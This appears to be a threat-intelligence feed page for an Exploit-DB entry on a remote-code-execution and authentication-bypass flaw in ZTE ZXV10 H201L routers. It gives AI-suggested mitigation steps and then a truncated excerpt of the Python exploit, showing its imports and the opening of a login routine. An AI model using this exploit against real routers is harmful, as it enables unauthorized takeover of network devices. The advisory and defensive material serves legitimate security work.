Skip to main content
ExploitPublished

ZTE ZXV10 H201L · RCE via authentication bypass

Source Exploit-DB RSS Feed

0
Severity
Critical

Rated by Threat Radar

Data as of 11 Jun 2025, 21:08 UTC

What to do

AI-suggested

1. Immediate Network Segmentation: Isolate ZTE ZXV10 H201L routers from critical internal networks and restrict management interface access to trusted administrative hosts only, preferably via VPN or dedicated management VLANs. 2. Disable Remote Management: If remote HTTP management is enabled, disable it or restrict it to specific IP addresses to prevent unauthorized external access. 3. Monitor Network Traffic: Deploy IDS/IPS signatures to detect anomalous POST requests to /getpage.gch endpoints and unusual DDNS configuration changes indicative of exploitation attempts. 4. Change Default Encryption Key: If possible, change or randomize the configuration encryption key to prevent decryption of configuration files using the known default key. 5. Firmware Updates: Engage with ZTE or ISPs to obtain firmware updates or patches addressing the authentication bypass vulnerability. If unavailable, consider replacing vulnerable devices with more secure alternatives. 6. Implement Strong Access Controls: Enforce strong authentication and authorization policies on router management interfaces, including multi-factor authentication where supported. 7. Incident Response Preparedness: Prepare to detect and respond to signs of compromise, such as unexpected files in /var/tmp or unauthorized configuration changes. 8. Vendor Coordination: Report the vulnerability to ZTE and relevant national cybersecurity authorities to accelerate patch development and coordinated disclosure. 9. Regular Audits: Conduct periodic security audits of network devices to identify vulnerable models and verify configuration integrity. 10. User Awareness: Educate network administrators about the risks of default credentials and the importance of securing management interfaces.

Description

ZTE ZXV10 H201L - RCE via authentication bypass

Indicators of compromise

Exploit source code

Exploit code for ZTE ZXV10 H201L - RCE via authentication bypass8,732 characters
# Exploit Title: ZTE ZXV10 H201L - RCE via authentication bypass
# Exploit Author:  l34n (tasos meletlidis)
# https://i0.rs/blog/finding-0click-rce-on-two-zte-routers/

import http.client, requests, os, argparse, struct, zlib
from io import BytesIO
from os import stat
from Crypto.Cipher import AES

def login(session, host, port, username, password):
    login_token = session.get(f"http://{host}:{port}/").text.split("getObj(\"Frm_Logintoken\").value = \"")[1].split("\"")[0]
    
    headers = {
 …

References

Community reviews

Loading reviews…